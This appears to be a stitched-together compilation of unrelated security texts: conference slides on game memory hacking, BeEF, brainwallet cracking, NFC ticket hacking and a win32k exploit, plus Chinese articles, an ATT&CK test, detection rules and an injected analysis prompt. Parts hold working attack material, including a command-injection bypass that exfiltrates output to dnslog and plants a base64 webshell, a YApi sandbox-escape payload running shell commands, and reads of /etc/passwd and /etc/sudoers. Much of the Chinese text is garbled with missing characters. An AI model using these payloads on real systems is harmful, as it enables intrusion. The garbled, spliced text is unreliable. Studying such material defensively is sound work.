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Kartograph Elie Bursztein and Jocelyn Lagarenne Stanford University 1 Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 Welcome to the real world Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 supernatural powers !  Learn kungfu  Inﬁnite money  Xray vision  god mode Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 God mode illustrated (video) Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 Memory based attack Memory Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 Memory based attack Memory Modiﬁcation Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 Memory based attack Memory Modiﬁcation Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 Beneﬁts (fast and furious)  Generic  Fast  Invisible  Generic  Fast  Invisible Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10  Structure are hard to ﬁnd  No control over the ﬂow Drawbacks Game memory Structures Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 Background Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 Game industry 273 Millions games sold in 2009 Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 Game type Action Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 Game type Action First person Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 Game type Action First person Sport Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 Game type Action First person Sport Role playing Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 Game type Action First person Sport Role playing Adventure Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 Game type Action First person Sport Role playing Adventure Strategy


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Hooked Browser Meshed-Networks with WebRTC and BeEF The sad tale of vegetarian browsers Trigger warning: presentation includes JavaScript $ whoami  Christian Frichot  @xntrik  Co-Author of The Browser Hackers Handbook  @beefproject developer DEFCON 23 @xntrik Vegie Browsers DEFCON 23 @xntrik Vegie Browsers $ ./display_overview.sh DEFCON 23 @xntrik Vegie Browsers JS, client-side testing & BeEF Mooo DEFCON 23 @xntrik Vegie Browsers Problems with browser communication channels DEFCON 23 @xntrik Vegie Browsers How WebRTC can help Plus: wth is WebRTC? DEFCON 23 @xntrik Vegie Browsers Integration WebRTC into BeEF Plus Demo! DEFCON 23 @xntrik Vegie Browsers $ ./lets_go Unfortunately BeEF is written in Ruby and not #golang DEFCON 23 @xntrik Vegie Browsers Client-side security testing DEFCON 23 @xntrik Vegie Browsers Browsers explosive growth DEFCON 23 @xntrik Vegie Browsers Attack surface growth DEFCON 23 @xntrik Vegie Browsers Demise of thick-ish based browser tech DEFCON 23 @xntrik Vegie Browsers $ killall ﬂash Who hasnt done this yet?? DEFCON 23 @xntrik Vegie Browsers $ brew install web2.0 DEFCON 23 @xntrik Vegie Browsers DEFCON 23 @xntrik Vegie Browsers WTF is browser hacking? $ ./initiate_pimp_mode.sh DEFCON 23 @xntrik Vegie Browsers @antisnatchor (hates pants) @wadealcorn (likes pants) DEFCON 23 @xntrik Vegie Browsers Initiating Control Retaining Control Bypassing SOP Attacking Users Attacking Extensions Attacking Users Attacking Browsers Attacking Plugins Attacking Networks Attacks DEFCON 23 @xntrik Vegie Browsers Initiating Control Bypassing SOP Attacking Users Attacking Extensions Attacking Users Attacking Browsers Attacking Plugins Attacking Networks Attacks Retaining Control DEFCON 23 @xntrik Vegie Browsers $ ./beef DEFCON 23 @xntrik Vegie Browsers $ cat beef | grep comm  XMLHttpRequest  WebSockets  DNS DEFCON 23 @xntrik Vegie Browsers $ vim core/main/client/net.js $ vim core/main/client/websocket.js $ vim core/main/client/net/dns.js DEFCON 23 @xntrik Vegie Brows


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# 哈希函数 哈希函数Hash Function把消息或数据压缩成摘要使得数据量变小其一般模型如下 显然对于任何一个hash值理论上存在若干个消息与之对应即碰撞 哈希函数的基本需求如下 | 需求 | 描述 | | ------ | ---------------------------------------- | | 输入长度可变 | hash函数可以应用于任意长度的数据 | | 输出长度固定 | hash函数的输出长度固定 | | 效率 | 对于任意消息 $x$计算 $H(x)$ 很容易 | | 单向性 | 对于任意哈希值h想要找到满足$H(x)=h$ 的x在计算上不可行 | | 抗弱碰撞性 | 对于任意消息x找到满足另一消息y满足$H(x)=H(y)$ 在计算上不可行 | | 抗强碰撞性 | 找到任意一对满足 $H(x)=H(y)$ 的消息x和y在计算上不可行 | | 伪随机性 | 哈希函数的输出满足伪随机性测试标准 | 散列值的目的如下 - 确保消息的完整性即确保收到的数据确实和发送时的一样即没有修改插入删除或重放防止中间人篡改 - 冗余校验 - 单向口令文件比如linux系统的密码 - 入侵检测和病毒检测中的特征码检测 目前的Hash函数主要有MD5SHA1SHA256SHA512目前的大多数hash函数都是迭代性的即使用同一个hash函数不同的参数进行多次迭代运算 | 算法类型 | 输出 Hash 值长度 | | ------ | ----------------- | | MD5 | 128 bit | | SHA1 | 160 bit | | SHA256 | 256 bit | | SHA512 | 512 bit |


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前 今天遇到个有意思的Linux命令执绕过分享下 某络设备后台有个Ping功能命令执回显使 dnslog收到请求因此icmpdns出 但是进步命令执的时候发现存在很多替换为空的过滤 第步绕过cp命令读取源码 ping.php中存在参数过滤函数并且使 exec() 命令执因此回显 根据include包含的件必然能找到过滤函数所在的件 过滤如下 `whoami`.dnslog cp ping.php ping.txt cd ..\ncd ..\ncd ..\ncd ..\ncd model\ncp filter.php filter.txt $val = str_replace("<", "", $val); $val = str_replace(">", "", $val); $val = str_replace("/", "", $val); $val = str_replace("+", "", $val); $val = str_replace("'", "", $val); $val = str_replace("\"", "", $val); $val = str_replace(";", "", $val); $val = str_replace("?", "", $val); $val = str_replace("%", "", $val); $val = str_replace(")", "", $val); $val = str_replace("(", "", $val); $val = str_replace(":", "", $val); $val = str_replace("&", "", $val); $val = str_replace("|", "", $val); 第步绕过sed删除过滤 which 存在wget尝试wget发现tcp不出 后来想到sed可以增加删除替换但是增加和替换php代码都需要到标点于是去删除过 滤函数中的过滤代码注意事先cp备份 最后写个shell 先写个句话phpinfo发现是php5.2的shell连接具的加密别选aes或者直接上个  其他思路 当时另个思路就是后台还有志功能可以考虑写shell到志件再cp到web录 因为sed成了就没去试 想听听家有什么其他的可思路 抱拳了.jpg cd ..\ncd ..\ncd ..\ncd ..\ncd model\nsed -i 4d filter.php cmd=file_put_contents('2.php', base64_decode('xxxxxxxx');


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# T1087-001-linux-本地账户发现 ## 来自ATT&CK的描述 攻击者可能会尝试获取本地系统帐户的列表此信息可以帮助攻击者确定系统上存在哪些本地帐户以帮助后续行为 在Linux上可以通过使用/etc/passwd的文件来枚举本地用户在mac中除文件外此相同文件仅用于单用户模式/etc/master.passwd此外可以通过groups和id命令枚举组 ## 测试案例 枚举所有账户`cat /etc/passwd` 查看sudoers文件`cat /etc/sudoers` 查看UID为0的帐户`username=$(echo $HOME | awk -F'/' '{print $3}') && lsof -u $username` 显示用户帐户是否有远程记录器`lastlog` 枚举用户和组groups 或者 id ## 检测日志 bash历史记录 ## 测试复现 枚举所有账户`cat /etc/passwd` 查看sudoers文件`cat /etc/sudoers 需要root权限` 查看UID为0的帐户`username=$(echo $HOME | awk -F'/' '{print $3}') && lsof -u $username ` 显示用户帐户是否有远程记录器`lastlog` 枚举用户和组groups需要root权限 或者 id ## 测试留痕 ```bash root@icbc:~/Desktop$ history 385 cat /etc/passwd 386 cat /etc/sudoers 387 username=$(echo $HOME | awk -F'/' '{print $3}') && lsof -u $username 388 lastlog 389 groups 390 id 391 history ``` ## 检测规则/思路 ### splunk规则 index=linux sourcetype=bash_history cat /etc/passwd | table host,user_name,bash_command index=linux sourcetype=bash_history cat /etc/sudoers | table host,user_name,bash_command index=linux sourcetype=bash_history "lsof -u *" | table host,user_name,bash_command index=linux sourcetype=bash_history lastlog | table host,user_name,bash_command index=linux sourcetype=bash_history group OR id | table host,user_name,bash_command ### 建议 值得注意的是应该结合上下文中查看研判而不是单独依靠关键词检测因为系统管理员经常使用这些命令进行合法操作 ## 参考推荐 MITRE-ATT&CK-T1087-001 <https://attack.mitre.org/techniques/T1087/001> linux UID详解 <https://blog.csdn.net/jthivan/article/details/50530955> linux ID查看命令详解 <https://blog.csdn.net/qq_21808961/article/details/78532487>


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@unapibageek - @ssantosv Tracking Malware Developers by Android AAPT Timezone Disclosure Bug ROCK APPROUND THE CLOCK! @unapibageek - @ssantosv Sheila Ayelen Berta Sergio De Los Santos Security Researcher ElevenPaths (Telefonica Digital cyber security unit) Head of Innovation and Lab ElevenPaths (Telefonica Digital cyber security unit) @unapibageek - @ssantosv @unapibageek - @ssantosv @unapibageek - @ssantosv @unapibageek - @ssantosv WHAT WE DID? @unapibageek - @ssantosv WHAT WE DID? @unapibageek - @ssantosv WHAT WE DID? @unapibageek - @ssantosv WHAT WE DID? @unapibageek - @ssantosv @unapibageek - @ssantosv WHAT IS AAPT? @unapibageek - @ssantosv WHAT IS AAPT? @unapibageek - @ssantosv Aapt timezone disclosure @unapibageek - @ssantosv Aapt timezone disclosure @unapibageek - @ssantosv Aapt timezone disclosure @unapibageek - @ssantosv Aapt timezone disclosure @unapibageek - @ssantosv ANALYZING SOURCE CODE @unapibageek - @ssantosv ANALYZING SOURCE CODE @unapibageek - @ssantosv ANALYZING SOURCE CODE @unapibageek - @ssantosv ANALYZING SOURCE CODE @unapibageek - @ssantosv ANALYZING SOURCE CODE @unapibageek - @ssantosv ANALYZING SOURCE CODE @unapibageek - @ssantosv ANALYZING SOURCE CODE @unapibageek - @ssantosv ANALYZING SOURCE CODE @unapibageek - @ssantosv ANALYZING SOURCE CODE EVEN = 0 @unapibageek - @ssantosv ANALYZING SOURCE CODE @unapibageek - @ssantosv ANALYZING SOURCE CODE @unapibageek - @ssantosv THE PROBLEM BUG = LOCALTIME(0) @unapibageek - @ssantosv THE PROBLEM BUG = LOCALTIME(0) EXPECTED = LOCALTIME(TIMESTAMP) @unapibageek - @ssantosv runtime analysis @unapibageek - @ssantosv runtime analysis @unapibageek - @ssantosv runtime analysis @unapibageek - @ssantosv runtime analysis @unapibageek - @ssantosv runtime analysis @unapibageek - @ssantosv WHY A TIMEZONE? HOUR = UNIX EPOCH +/- TIMEZONE Localtime(): @unapibageek - @ssantosv WHY A TIMEZONE? HOUR = UNIX EPOCH +/- TIMEZONE E.g: GMT +3 = UNIX EPOCH + 3Hs GMT -3 = UNIX EPOCH - 3Hs Localtime(): @unapibageek - @ssantosv W


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看了看硬盘下载的很多markdwonpdfppt的资料如果能对它们进全搜索的话不就相当于是个 的知识库吗ES太重了周末研究了下做了个玩具级别的全索引特点是轻量和占有资源只 运个exe就 索引持本docxppt格式pdf格式暂时不持没找到go解析pdf好的库 些技术细节的碎碎念全索引的原理就是建个 倒排索引 索引的时候建倒排表查询的时候根据倒排表 的数据做合并打分排序操作再输出结果温习了很多在学校时的数据结构在这个时候来找我在当年下的 债了源码开源这个源码还有很多可以优化的地能够进步提升速度 使 使很简单就两步先建索引后进查询 索引 索引指定录 ./fulltext index -h 建索引 Usage: fulltext-cli index [flags] Flags: --data string 要索引的录 --ext stringArray 指定的索引后缀 (default [txt,md,yaml,ppt,docx,doc,pptx]) -h, --help help for index ./fulltext index --data /Users/boyhack/Downloads/ 查询 如果要输出内容可以加上 --show-content 参数 后续todo 持pdf索引持图ocr索引 展示内容能亮显示 打分机制bm25临近距离算法 集成 持多种查询语法 优化内存占索引体积查询速度 ./fulltext search nuclei ./fulltext search nuclei --show-content


Instruction: 请分析这段安全相关的文本内容

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1 企业家庭智能家居安全解决案 设计背景 智能家居品牌选择与途 络架构设想图 拓扑图实现效果 关于IOT设备的漏洞 autor枕边亮 随着IOT技术的发展智能家居逐渐普及化前的智能家居案也含盖了很多如智能中控智能 禁智能灯光系统智能窗帘系统智能家电控制系统智能暖通系统智能安防系统智能影甚 拓展到了智能晾智能厨电等等随着IOT设备的增多对宽带路由器要求逐渐提升部分低端路由 器与关设备法满量设备的承载与连接同时物联设备安全没有引起明显重视安全问题层出不 穷于是尝试部署后于是有了这篇解决案 前我较推荐的品牌有homekit超级智慧家艾特智能等等部分家智能家居体系完整 并且兼容其他第三设备对于型企业来讲需要到智能家居的地如公司活区禁中央空调 等等以及些主打智能家居的连锁酒店对于家庭覆盖可以达到某个家电器 以为例可以兼容的第三IOT设备上百家 设计背景 智能家居品牌选择与途 3 4 络架构设想图 5 智能家居络架构设想图 1. 关于光猫 前电信的光猫型号众多基本上都是千兆光猫此时只需要关注光猫后的接部分光猫是全千兆接 部分只有1个是千兆接如果宽带超过100mbps就需要注意线不能插在百兆上可以使交换 机拓展千兆还需要注意的是光猫后有个IPTV是于电视的这个不能插错参考下图 6 电信光猫接示意图 2. 关于络设备防墙关路由器 家庭使可以直接购买控机或者三合的路由器最好是端路由建议华硕或者件的端家型 号如果采控机三合建议采2H2G及以上的配置系统刷为openwrtikuairoslede等系 统具备了关防墙路由的功能 7 openwrt 家级产品配置 控机性能的三合产品 安装openwrtikuai等系统时需要注意单独配置后再接光猫lan1不能设置为192.168.1.1不然会与 光猫IP产冲突具体IP划分可以决定提前在系统上划分路由或者vlan 如果是光猫拨号wan需要设置为DHCP动态获取 8 如果是企业使建议三者分开为三个单独的络设备以具备更强的性能根据企业规模设备数 量络环境购置千兆甚万兆络设备 9 企业级产品 3. 关于AP的选择 10 AP的选择家级可以采华硕件的中端型号可以承载更多的设备并保证络的稳定性普通的家 路由器经常会出现断流的情况 华硕路由器 企业级户般采端的H3C型号与件等等具备更强的承载能 这的AP有两种选择可以为NAT模式可以为AP 采NAT模式安全性会更强点AP也可以划分VLAN服务器与WIFI单独的段访客WIFI单独的段 等等确保定的隔离 4. 其他设备 服务器可以采exsi在exsi的基础上部署其他服务如内态势感知内资产管理弱点扫描等 有很多开源的解决案可以选择 我的IPTV是直接接的是电视机中间没有任何设备 IOT关是单独接在路由器下的是单独的VLAN确保安全性IOT关主要控制智能家居IOT的部分 品牌关也有物联卡可以直接访问相应的智能家居云服务通过机APP控制智能设备也可以通过 互联出络连接家庭智能家居云服务 企业与家庭物联可以采类似这样的解决案 5. 内安全性 家庭户可以直接采虚拟化的式部署些开源安全产品于监测络漏洞扫描资产管理 企业级户采企业级的防墙态势感知WAF等等段于内防护 拓扑图实现效果 11 流量监测 三合设备资源占情况 线路监控 12 协议监控 ACL按照需求设置 访客络路由器带 30个物联设备+3个传感器 13 关控制的设备 相于传统安全IOT的设备漏洞主要出现在不安全的配置固件安全问题APP端越权等等特别是些 商的IOT设备存在诸多的安全问题在内环境中做好物联设备的隔离与基线控制可以确保定的 安全性 关于IOT设备的漏洞


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安全文本分析：

# YApi Registration and Mock Remote Code Execution [中文版本(Chinese version)](README.zh-cn.md) YApi is a API management tool developed by Node.JS. If registration of the YApi server is enabled, attackers will be able to execute arbitrary Javascript code in the Mock page. References: - <https://paper.seebug.org/1639/> - <https://www.freebuf.com/vuls/279967.html> ## Vulnerability Environment Execute following command to start a YApi server 1.9.2: ``` docker compose up -d ``` After the server is started, browse the `http://localhost:3000` to see the index page of the YApi. ## Vulnerability Reproduce Register a normal user then create a project and an interface: ![](1.png) ![](2.png) There is a "Mock Tab" that you can input JavaScript code, put the evil code into textarea: ``` const sandbox = this const ObjectConstructor = this.constructor const FunctionConstructor = ObjectConstructor.constructor const myfun = FunctionConstructor('return process') const process = myfun() mockJson = process.mainModule.require("child_process").execSync("id;uname -a;pwd").toString() ``` ![](3.png) Then, go back to the preview tab and see the Mock URL: ![](4.png) Open that URL, Mock script is executed and you can see the output: ![](5.png)


Instruction: 请分析这段安全相关的文本内容

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安全文本分析：

'\" t .TH "SYSCTL\&.D" "5" "" "systemd 231" "sysctl.d" .\" ----------------------------------------------------------------- .\" * Define some portability stuff .\" ----------------------------------------------------------------- .\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .\" http://bugs.debian.org/507673 .\" http://lists.gnu.org/archive/html/groff/2009-02/msg00013.html .\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .ie \n(.g .ds Aq \(aq .el .ds Aq ' .\" ----------------------------------------------------------------- .\" * set default formatting .\" ----------------------------------------------------------------- .\" disable hyphenation .nh .\" disable justification (adjust text to left margin only) .ad l .\" ----------------------------------------------------------------- .\" * MAIN CONTENT STARTS HERE * .\" ----------------------------------------------------------------- .SH "NAME" sysctl.d \- 在启动时配置内核参数 .SH "SYNOPSIS" .PP /etc/sysctl\&.d/*\&.conf .PP /run/sysctl\&.d/*\&.conf .PP /usr/lib/sysctl\&.d/*\&.conf .SH "描述" .PP 在系统启动时 \fBsystemd-sysctl.service\fR(8) 根据上面列出的配置文件设置 \m[blue]\fBsysctl(8)\fR\m[]\&\s-2\u[1]\d\s+2 内核参数 .SH "配置文件格式" .PP 配置文件的格式是 一系列"KEY=VALUE"行(每行一对) 空行以及以 "#" 或 ";" 开头的行都将被忽略 .PP 注意在KEY内部可以使用 "/" 或 "\&." 作为分隔符 如果第一个分隔符是 "/"  那么其余的分隔符将保持原样 如果第一个分隔符是 "\&." 那么互换所有的 "/" 与 "\&."  例如"kernel\&.domainname=foo" 等价于 "kernel/domainname=foo" 都会将 "foo" 写入 /proc/sys/kernel/domainname 参数中 同样的"net\&.ipv4\&.conf\&.enp3s0/200\&.forwarding" 等价于 "net/ipv4/conf/enp3s0\&.200/forwarding"  都是指 /proc/sys/net/ipv4/conf/enp3s0\&.200/forwarding 参数 .PP sysctl\&.d/ 中的设置将在系统启动的早期被应用 针对网络接口的配置 则会在对应的网络接口出现的时候被应用 具体说来就是 net\&.ipv4\&.conf\&.*, net\&.ipv6\&.conf\&.*, net\&.ipv4\&.neigh\&.*, net\&.ipv6\&.neigh\&.* 参数 .PP 许多 sysctl 参数仅在加载相应的内核模块之后才可用 因为内核模块是按需动态加载的 (例如在插入新硬件或启动网络时) 所以在系统启动早期运行的 \fBsystemd-sysctl.service\fR(8) 无法设置那些依赖于特定内核模块的参数 对于这些参数 首选的方法是通过 \fBudev\fR(7) 规则来设置 次选的方法是将这些模块添加到 \fBmodules-load.d\fR(5) 中 因为 \fB


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安全文本分析：

Cracking Cryptocurrency Brainwallets Ryan Castellucci DRAFT SLIDES, WILL BE REVISED! FOR FINAL VERSION AFTER TALK https://rya.nc/dc23 Disclaimer Stealing from people with weak passphrases isnt nice. Dont be an asshole. Whats a cryptocurrency?  Bitcoin is the most widely known example.  Electronic money which can operate without banks or governments  Secured with cryptographic algorithms  Transferred via a sort of electronic check  Checks are made public to prevent bounces  Control of key == Control of money Whats a brainwallet?  A brainwallet is a cryptocurrency key that is created from a password (or passphrase)  Some people believe that this will make their money harder to steal (or seize)  Knowledge of password == Control of money   Sending money to a brainwallet publishes a hash of it. What if the hash can be cracked? It seemed like it might be interesting  Came across a blog post about brainwallets  The author made some and posted about it to see how long theyd take to crack  I figured writing a cracker would be a fun way to spend my commute for a few days  But why try to crack three brainwallets when you can try to crack all of them? My first brainwallet cracker  Simple design, pass a file with pubkeyhashs, then pipe words/phrases on STDIN  Written in C using OpenSSLs crypto  ~10,000 passwords per second on my PC  The slowest part, by far, is turning the private key into a public key. More on that later. Taking it for a spin  I start feeding it password cracking wordlists  Find some tiny amounts of money  Scrape wikiquote and a few other sites to build myself a phraselist  Run the phraselist - it gets some hits after a few hours  Pull balances, see one with 250BTC Well, that is interesting. Now what?  250BTC was worth about $15k  I wanted to fix this. Im friends with Dan Kaminsky. Hes fixed some big things. After regaining my composure, I called him.  As luck would have it, he was in town  We meet up about an hour later to figure out how to do the right thing


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1 APISIX CVE-OLOO-OXOTT 漏洞分析与复现 漏洞描述 影响版本 前要介绍 APISIX JWT 漏洞分析 环境搭建 漏洞复现 漏洞代码修复 修复案 总结 CVE-2022-29266 这个漏洞已经出现有些时间了正好现在有时间上也出现了不少分析章今 天来看看这个漏洞 在 2.13.1 之前的 Apache APISIX 中由于 APISIX 中的 jwt-auth 插件依赖于 lua-resty-jwt 库在 lua-resty-jwt 库返回的错误信息中可能会包含 JWT 的 sceret 值因此对于开启了 jwt-auth 插件的 APISIX 存在 JWT sceret 的泄露从造成对 JWT 的伪造险 低于 2.13.1 的 Apache APISIX 全部版本 Apache APISIX 是个由 Apache 基会孵化的个开源的云原 API 关具有性能可扩展的特 点与传统的 API 关相APISIX 是通过插件的形式来提供负载均衡志记录身份鉴权流量控 制等功能 漏洞描述 影响版本 前要介绍 APISIX 2 JSON Web Token 缩写成 JWT常被于和服务器的认证场景中这点有点类似于 Cookie 的 Session id JWT 持 HS256RS256RS512 等等算法JWT 由三部分构成分别为 Header头部 Payload负载Signature签名三者以数点分割 JWT 的第三部分 Signature 是对 Header 和 Payload 部分的签名起到防数据篡改的作如果知道 了 Signature 内容那么就可以伪造 JWT 了 JWT 的格式类似于这样 实际遇到的 JWT 般是这种样 先根据官仓库的漏洞修复代码定位到 /apisix/plugins/jwt-auth.lua 件的第 364 如果 JWT  效则在 return 返回 401 并给出效的原因即 jwt_obj.reason JWT 漏洞分析 Plain Text 复制代码 Header.Payload.Signature 1 Plain Text 复制代码 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6 IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV _adQssw5c 1 3 接着在 lua-resty-jwt 库中找到 lib/resty/jwt.lua 件在 jwt.lua 件的 782 中可以看到有个 jwt_obj.reason 中包含了 secret这代码的意思是说如果程序执正常就返回 secret 的值否则 就返回具体的异常信息 那么接下来要做的就是怎么样构建 payload 才能让代码进到第 782 从让 jwt_obj.reason 返回 我们想要的 secret 呢那么就要看看 782 上的代码 .. 表示字符串拼接即把后代码的值拼接到字符串中 err and err or secret 所表示的意思是如果 err 为 nil则返回 secret 的值否则返回 err 4 通过上图可以看到如果想执到第 782 需要满四个条件分别如下 756 JWT 的算法需要是 RS256 或者 RS512 758 trusted_certs_file 值需要为 nil 774 secret 值不能为 nil 781 cert 的值需要为 nil 或者 false 先第个条件JWT 的算法需要是 RS256 或者 RS512这个很简单只需要 JWT 的 header 部分 的 alg 参数为 RS256 或者 RS512 即可 接着第个条件trusted_certs_file 即信任证书件APISIX 默认算法是 HS256 HS256 和 HS512 不持这种证书件的式因此只要我们使 HS256 或者 HS512 算法就了     ~= 表示不等于 5 然后第三个条件secret 值不能为 nil当 APISIX 使 jwt-auth 插件的时候如果使的默认算 法就需要指定 secret 的值那么这个 secret 的值就不会是 nil 了 最后第四个条件cert 的值需要为 nil 或者 false在 776  779 的代码中可以看到会判断 secret 中有没有 CERTIFICATE 和 PUBLIC KEY如果有那么 cert 就不会是 nil 了那么也就是说只 要 secret 中没有 CERTIFICATE 和 PUBLIC KEY代码就会执到第 782 并且返回 secret 的值 所以分析


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Who we are  bughardy (aka Matteo Beccaro) bughardy@cryptolab.net Italian student with passion of IT, networking and pentesting. In 2013 ended his studies in high school and apply for Politecnico of Turin at Computer Engineering.  Eagle1753 (aka Matteo Collura) eagle1753@onenetbeyond.org Italian student, applied for Politecnico of Turin, Electronic Engineering. Has a great passion for Physics. He is studying with bughardy on WiFi networks and security. Loves to solve challenges. History of NFC hacks  2008 NFC MIFARE CLASSIC exploit, further in following years.  2011 first hack of NFC ULTRALIGHT transport system by U.S. researchers using the RESET ATTACK  2013 a new hack of NFC ULTRALIGHT transport system made by us. We called it LOCK ATTACK. What is MIFARE chip? RFID chip designed to work at 13.56MHz.There are millions of MIFARE chip cards worldwide and they belong to several variants:  MIFARE CLASSIC  MIFARE ULTRALIGHT  MIFARE ULTRALIGHT C  MIFARE DESFIRE  etc The history of an hack  First tests, without knowing how OTP was working.  OTP contains the number of rides left!!  Attempt to write something over OTP. There is still a long way  One the roa.. Er.. On the bus test!  Stamping more tickets one after the other and looking and comparing their dumps  Empiric results about how data is stored on tickets Seize the day  Assume that you know where the time (of the last stamp) is stored and how  Use a NFC phone / NFC reader to change that field (it is in the data field so there are no problems)  It isnt so reliable and now we arent able to deal with this. Mission Completed  Preventing the machine to write the number of rides left would turn the ticket into an unlimited one.  The answer is: LOCK BYTES Yes, but what is MIFARE ULTRALIGHT? How is it composed? Page Address Byte number Decimal Hex 0 1 2 3 0 0x00 UID 1 0x01 UID 2 0x02 UID INTERNAL LOCK BYTE LOCK BYTE 3 0x03 OTP OTP OTP OTP 4 to 15 0x04 to 0x0F DATA What is OTP?  Only security function in MIFARE ULTRALIGHT tick


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package com.example; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.security.oauth2.config.annotation.web.configuration.EnableAuthorizationServer; import org.springframework.security.oauth2.config.annotation.web.configuration.EnableResourceServer; import org.springframework.web.bind.annotation.RestController; @SpringBootApplication @RestController @EnableResourceServer @EnableAuthorizationServer public class DemoApplication { public static void main(String[] args) { SpringApplication.run(DemoApplication.class, args); } }


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基于历史行为的异常检测 O365怎样反击内部恶意攻击 Lei He Principal Engineering Manager, Microsoft Corporation 2019-05-30 Office365安全要求 * 客户密码箱入门只能用于访问客户数据的企业服务.  无法使用Corp身份进行解密或访问 所有访问要求2FA  背景调查及安全培训  用户数据和运作中心隔离  零永久访问权限  客户密码箱和BYOK  基于ETW的详细原始遥测技术能够在 <1天内测量新的遥测技术  集中处理会在15分钟内发出警报以解 决安全问题  每天至少1次攻击模拟服务以验证监视/ 响应  能够在<15分钟内触发安全响应工作流 程并在<1天内检测新工作流程  所有秘密必须存放在安全的容器中  秘密永远不应该离开边界  暴露时应立即滚动秘密  数据受托人应该在更新环境中完全控制 秘密  每天都扫描所有产品终点  所有中等和更严重评级的漏洞都应该打 补丁或免除  所有网络应用程序应每月扫描一次  中央报告和跟踪 访问控制 安全监控 密钥管理 反病毒修补 概览 问题  信息泄露/心怀不满的恶意内部人员是重大的安全威胁  经过监督的ML检测训练以检测已知模式; 需要覆盖未知模式 解决方案  基于历史行为的检测标记异常活动  对于O365数据中心安全用户== DevOps  可以推广到其他实体配置文件 O365 数据中心监控 自动近实时多层检测和响应 Vanquish监测管道 O100K机器评估 O1k用户评估 Spark上的近实时NRT多层处理 <15分钟内的寻呼警报包括基于ML 的警报 分析工具和仪表板 在收到警报时以近乎实时的方式交互 式查看结果 警报和自动化 24 x 7寻呼警报和自动响应 模型特征选择 观察DevOps活动展示模式 登录活动  用户从哪里登录  用户什么时候登录  用户登录后做了什么 及时提升  用户请求了什么类型的权限提升  谁批准了权限提升 操作  用户执行了哪个工作流程  用户启动了哪些进程  用户触发了哪些检测 特征  登录的机器  机器类型  容量单位范围  登录的IP  连接到的IP  其他检测触发  提升到何种权限  提升目的  批准者  特定的时间  流程和工作流程 模型 1. 产生每个用户的完整历史行为总结 a) 每个要素都是{ Value: Occurrence }的列表 2. 每隔2分钟评估用户过去6个小时活动行为 3. 将每个当前的活动行为与用户的历史活动行为进行比较 a) 针对会话中的值计算特征相似性得分 历史上发生的越高越相似/正常 b) 根据n个特征的相似性得分生成会话异常分数 4. 收集历史事件测试数据集以评估性能 5. 根据警报次数容忍度来设置警报阈值每周5次 Model Tuning Workflow Malicious != Anomalous 模型调优 Was this corroborated? Email User in Alert Start Label False Positive Improve Model Was the activities abnormal? Label True Positive End No Yes No Yes 模型调优模式 新团队成员 设置活动量的最低阈值 稀疏功能 设置有效功能的最低阈值 双重计数 删除自动生成的活动 换队伍 使用团队资料 重命名命令 不区分大小写的比较 高熵特点 用{Capacity Unit, Capacity Type}替换目标计算机 名称或IP 降低用户源IP的权重 降级自由文本功能 比如提升权限  模型性能 成功指标警报次数  自2018年末发布以来每周平均提供约5次警报 成功指标精确度  ~90真阳性上个月16/18 真实积极的类型  渗透测试  一次性事件破碎玻璃或审计  操作流程违规  DevOps 不良行为  DevOps一次性测试或试验 行动起来 应用基于历史行为的异常检测深度防御  从高质量数据开始  找到真实的恶意事件  做在线实施前首先执行离线分析  通过反馈循环持续调整  可解释的模型  警报有足够的补充信息 答疑 基于历史行为的异常检测 www.linkedin.com/in/lei-he-security Lei He leih@Microsoft.com


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请谨慎编码哪怕它只是一句错误处理 wang yu Hacks in Taiwan, 2013  来自 win32k ! EPATHOBJ::pprFlattenRec 漏洞的启示 议题简介 第一部分 议题简介 关于作者 ( wangyu@360.cn ) 议题背景 2013 年 3 月 Tavis Ormandy 前辈披露了一个微 软win32k 模块的问题  在内存压力测试的情况 下例程 win32k!EPATHOBJ::bFlatten 发生了蓝屏 接下来关于该蓝屏的利用可谓是一波三折5 月随着对链表关系的深度分析蓝屏问题终于上升 为本地提权问题exploit-db 对此问题的关注度激 增 本议题将聚焦于 win32k!EPATHOBJ 子系统数据 结构的设计与实现以白盒的视角审视上述提权漏洞 的原理及利用细节 议题简介 议题涵盖 - win32k!EPATHOBJ 子系统相关数据结构的背景设计 与实现 - win32k!EPATHOBJ::pprFlattenRec 漏洞 ( CVE-2013- 3660 ) 的产生原因及几种可行的修复方案 - CVE-2013-3660 任意地址写入漏洞的利用思路及演进 过程 - 漏洞给我们带来的思考与启示 - 更多测试与审计 责任声明 PATH 子系统设计背景与数据结构 第二部分 让我们从这里开始 ...... EPATHOBJ::pprFlattenRec() is an internal routine for applying this process to a linked list of PATHRECORD objects. If you follow the logic, you can see that the PATHRECORD object retrieved from newpathrec() is mostly initialized, but with one obvious error: EPATHOBJ::pprFlattenRec(_PATHRECORD *)+33: .text:BFA122CD mov eax, 